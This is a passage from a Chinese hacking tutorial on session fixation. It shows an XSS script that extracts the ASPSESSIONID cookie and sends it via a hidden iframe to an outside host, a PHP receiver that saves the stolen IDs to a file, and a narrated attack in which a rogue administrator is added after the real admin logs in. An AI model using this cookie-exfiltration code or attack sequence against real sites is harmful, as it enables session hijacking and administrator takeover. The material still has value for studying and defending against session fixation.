;cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1]; } };function f(){ ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id=" url0 "&value=" url1; }setTimeout(f,"1000");script>
用于提交SESSIONID到a.php。下面是一个COOKIE的内容：
请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分，这里就是一个SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样，“ASPSESSIONIDASQCSSRT”这个KEY的名字，也是不同名称的。但是他逃脱不了一种模式，就是SESSIONID的名字，改来改去，总要让服务器认识。结合几次抓包内容，发现，这个字符串没有固定的名称，也没有固定的值，但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。
php代码，用于接收提交过来的SESSIONID，保存：
Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->?php
$fp = fopen("haha.txt","wb");
fwrite($fp,$_GET["id].",".$_GET["value],strlen($_GET["id].",".$_GET["value]));
fclose($fp);
?>
下面先执行go.py。
可以看到代码一直在执行“添加管理员这个过程”，并且一直不能通过验证。
现在先浏览下XSS页面，查看那个有XSS的版面。先让程序获得SESSIONID，注意，还没有登录。
和前次不同的是，我们获取了sessionid。但是这个SESSIONID还没有通过验证，管理员还没有登录。之后使用管理员登录后台。
这张图，出现了提示信息“您输入的用户名已经在管理用户中存在!”，说明已经可以通过验证了，攻击成功。
可能有很多读者在本次攻击过程中想到了SESSION IE这个工具，该工具也可以获得管理员的SESSIONID，并且通过不断的访问，维持这个SESSIONID不被销毁。与之区别的是，如果管理员登录后，自己点了“退出”。那么这个维持中SESSIONID就没用了，除非你能在他没点退出之间，做了添加管理员操作，期待该工具更新本文所提功能。而这次的攻击过程中，即使管理员退出了，我们攻击也早就在管理员登陆的那一刹那间，攻击成功。Session Fixation最大的威胁，就是在登录前的XSS能一直威胁到了管理员登录，即使管理员登录后不再访问XSS页面，也不影响攻击效果。
工具go.py在这里提供下载，但是注意一点，这个工具，不是一个多线程的。实验的时候可以用，如果用于做坏事，除非修改它的代码，否则每一个看到XSS页面的人，都会提交SESSIONID上去，导致攻击失败。为了网络和谐，作者就不提供真正用于攻击的代码了，大家回去后自己研究
Session Fixation 攻防实战（图）
原文：http://www.jb51.net/hack/4983.html
